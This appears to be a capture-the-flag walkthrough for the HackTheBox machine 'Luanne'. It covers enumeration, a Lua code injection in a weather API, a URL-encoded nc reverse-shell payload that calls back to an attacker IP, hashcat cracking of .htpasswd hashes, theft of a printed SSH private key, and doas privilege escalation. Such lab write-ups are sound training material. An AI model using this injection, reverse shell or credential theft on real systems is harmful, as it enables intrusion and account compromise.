[HTB] Machine: Luanne
Luanne
Enumeration
Nmap
└─$ nmap -sC -sV -Pn 10.10.10.218
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 17:33 BST
Nmap scan report for 10.10.10.218 (10.10.10.218)
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20977f6c4a6e5d20cffda3aaa90d37db (RSA)
| 521 35c329e187706d7374b2a9a204a96669 (ECDSA)
|_ 256 b3bd316dcc226b18ed2766b4a72ae4a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
|_http-title: Error response
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 204.16 seconds
- Web server
Foothold
- If we visit port
9001
, we have login page but it shows nothing elsenmap
tells us some information aboutSupervisor process manager
andrealm
- Googling reveals the configuration
- The creds work
user:123
We see an interesting process
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
-L weather /usr/local/webapi/weather.lua
- Adds/usr/local/webapi/weather.lua
Lua script for the prefixweather
(man page)... will trigger the execution of the Lua script when a URL in the form http://10.10.10.218/weather/<name> is being accessed
Let’s check port
80
- We see port
└─$ curl -v http://10.10.10.218
* Trying 10.10.10.218:80...
* Connected to 10.10.10.218 (10.10.10.218) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.218
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< Server: nginx/1.19.0
< Date: Thu, 20 Jul 2023 18:05:49 GMT
< Content-Type: text/html
< Content-Length: 209
< Connection: keep-alive
< WWW-Authenticate: Basic realm="."
<
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
/index.html: <pre>No authorization</pre>
<hr><address><a href="//127.0.0.1:3000/">127.0.0.1:3000</a></address>
</body></html>
* Connection #0 to host 10.10.10.218 left intact
- Let’s
gobuster
weather
directory
└─$ gobuster dir -u http://10.10.10.218/weather -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.218/weather
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/07/20 19:11:39 Starting gobuster in directory enumeration mode
===============================================================
/forecast (Status: 200) [Size: 90]
- Visit the page
- The result of visiting
?city=London
└─$ curl -s http://10.10.10.218/weather/forecast?city=London | jq
{
"code": 200,
"city": "London",
"list": [
{
"date": "2023-07-20",
"weather": {
"description": "snowy",
"temperature": {
"min": "12",
"max": "46"
},
"pressure": "1799",
"humidity": "92",
"wind": {
"speed": "2.1975513692014",
"degree": "102.76822959445"
}
}
},
{
"date": "2023-07-21",
"weather": {
"description": "partially cloudy",
"temperature": {
"min": "15",
"max": "43"
},
"pressure": "1365",
"humidity": "51",
"wind": {
"speed": "4.9522297247313",
"degree": "262.63571172766"
}
}
},
{
"date": "2023-07-22",
"weather": {
"description": "sunny",
"temperature": {
"min": "19",
"max": "30"
},
"pressure": "1243",
"humidity": "13",
"wind": {
"speed": "1.8041767538525",
"degree": "48.400944394059"
}
}
},
{
"date": "2023-07-23",
"weather": {
"description": "sunny",
"temperature": {
"min": "30",
"max": "34"
},
"pressure": "1513",
"humidity": "84",
"wind": {
"speed": "2.6126398323104",
"degree": "191.63755226741"
}
}
},
{
"date": "2023-07-24",
"weather": {
"description": "partially cloudy",
"temperature": {
"min": "30",
"max": "36"
},
"pressure": "1772",
"humidity": "53",
"wind": {
"speed": "2.7699138359167",
"degree": "104.89152945159"
}
}
}
]
}
- If we visit the city that is not in the list, we get an error
└─$ curl -s http://10.10.10.218/weather/forecast?city=Moscow | jq
{
"code": 500,
"error": "unknown city: Moscow"
}
- There is a post regarding
lua vulnerabilities
- If we fuzz for special chars with
ffuf
we find 2 cases there request breaks
- If we fuzz for special chars with
└─$ ffuf -w /usr/share/seclists/Fuzzing/special-chars.txt -u http://10.10.10.218/weather/forecast?city=FUZZ -mc 500 -fw 5
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.218/weather/forecast?city=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/special-chars.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 500
:: Filter : Response words: 5
________________________________________________
[Status: 500, Size: 40, Words: 6, Lines: 1, Duration: 183ms]
* FUZZ: +
[Status: 500, Size: 77, Words: 9, Lines: 2, Duration: 109ms]
* FUZZ: '
:: Progress: [32/32] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
- If we try
'
, we see an error
└─$ curl "http://10.10.10.218/weather/forecast?city='"
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value
- If we search fuzz
'
with different combinations of chars, we have nothing- But if we add
--
which specifies the comment block inlua
, we have the same error - So we start fuzzing the following combination
'FUZZ--
to find something
- But if we add
└─$ curl "http://10.10.10.218/weather/forecast?city='--"
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value
└─$ ffuf -w /usr/share/seclists/Fuzzing/special-chars.txt -u "http://10.10.10.218/weather/forecast?city='FUZZ--" -mc 200,500 -fw 9
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.218/weather/forecast?city='FUZZ--
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/special-chars.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,500
:: Filter : Response words: 9
________________________________________________
[Status: 500, Size: 37, Words: 5, Lines: 1, Duration: 106ms]
* FUZZ: )
:: Progress: [32/32] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
- And now we have the following output
└─$ curl "http://10.10.10.218/weather/forecast?city=')--"
{"code": 500,"error": "unknown city:
- Let’s try a command injection
- And it works
└─$ curl "http://10.10.10.218/weather/forecast?city=')os.execute('id')--"
{"code": 500,"error": "unknown city: uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
- Let’s get reverse shell
curl "http://10.10.10.218/weather/forecast?city=')os.execute('rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.16.12%206666%20%3E%2Ftmp%2Ff')--"
User
- Let’s enumerate
- We have a
.htpasswd
hashcat -m 500 hash /usr/share/wordlists/rockyou.txt
$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0:iamthebest
- But we can do nothing with the password
- We have a
/etc/passwd
- Another user
r.michaels
- Another user
root:*:0:0:Charlie &:/root:/bin/sh
toor:*:0:0:Bourne-again Superuser:/root:/bin/sh
daemon:*:1:1:The devil himself:/:/sbin/nologin
operator:*:2:5:System &:/usr/guest/operator:/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin
games:*:7:13:& pseudo-user:/usr/games:/sbin/nologin
postfix:*:12:12:& pseudo-user:/var/spool/postfix:/sbin/nologin
named:*:14:14:& pseudo-user:/var/chroot/named:/sbin/nologin
ntpd:*:15:15:& pseudo-user:/var/chroot/ntpd:/sbin/nologin
sshd:*:16:16:& pseudo-user:/var/chroot/sshd:/sbin/nologin
_pflogd:*:18:18:& pseudo-user:/var/chroot/pflogd:/sbin/nologin
_rwhod:*:19:19:& pseudo-user:/var/rwho:/sbin/nologin
_proxy:*:21:21:Proxy Services:/nonexistent:/sbin/nologin
_timedc:*:22:22:& pseudo-user:/nonexistent:/sbin/nologin
_sdpd:*:23:23:& pseudo-user:/nonexistent:/sbin/nologin
_httpd:*:24:24:& pseudo-user:/var/www:/sbin/nologin
_mdnsd:*:25:25:& pseudo-user:/nonexistent:/sbin/nologin
_tests:*:26:26:& pseudo-user:/nonexistent:/sbin/nologin
_tcpdump:*:27:27:& pseudo-user:/var/chroot/tcpdump:/sbin/nologin
_tss:*:28:28:& pseudo-user:/var/tpm:/sbin/nologin
_rtadvd:*:30:30:& pseudo-user:/var/chroot/rtadvd:/sbin/nologin
_unbound:*:32:32:& pseudo-user:/var/chroot/unbound:/sbin/nologin
_nsd:*:33:33:& pseudo-user:/var/chroot/nsd:/sbin/nologin
uucp:*:66:1:UNIX-to-UNIX Copy:/nonexistent:/sbin/nologin
nobody:*:32767:39:Unprivileged user:/nonexistent:/sbin/nologin
r.michaels:*:1000:100::/home/r.michaels:/bin/ksh
nginx:*:1001:1000:NGINX server user:/var/db/nginx:/sbin/nologin
dbus:*:1002:1001:System message bus:/var/run/dbus:/sbin/nologin
- Processes launched by
r.michaels
$ ps auxw | grep michaels
r.michaels 185 0.0 0.0 36460 1972 ? Is 4:38PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home
- We have identical application with a flags
-u
and-X
(Enables directory indexing)Enables the transformation of Uniform Resource Locators of the form /~user/ into the directory ~user/public_html
- Which means we can access user directory
- If try it, we have no access
$ curl -s http://127.0.0.1:3001/~r.michaels/
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
~r.michaels//: <pre>No authorization</pre>
<hr><address><a href="//127.0.0.1:3001/">127.0.0.1:3001</a></address>
</body></html>
- But if use the creds from
.htpasswd
, they work
$ curl -s http://127.0.0.1:3001/~r.michaels/ -u webapi_user:iamthebest
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
border-top: 1px solid black;
border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>
- We see a private key
$ curl -s http://127.0.0.1:3001/~r.michaels/id_rsa -u webapi_user:iamthebest
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
- Now we can connect via
ssh
Root
NetBSD
has identical tosudo
command whichdoas
- If we check config file, we see that
r.michaels
can run anything as root - But we need a password
- If we check config file, we see that
- If we check home directory of the user, we have
backups
folder containing archive which is encrypted
- The directory also contains
.gnupg
,- If we try using the keyrings for decryption, they work
- Let’s check the content of the archive
- There is a
.htpasswd
file with credentials - Crack it with
hashcat
webapi_user:littlebear
- There is a
- Use the password for
doas
and get a root flag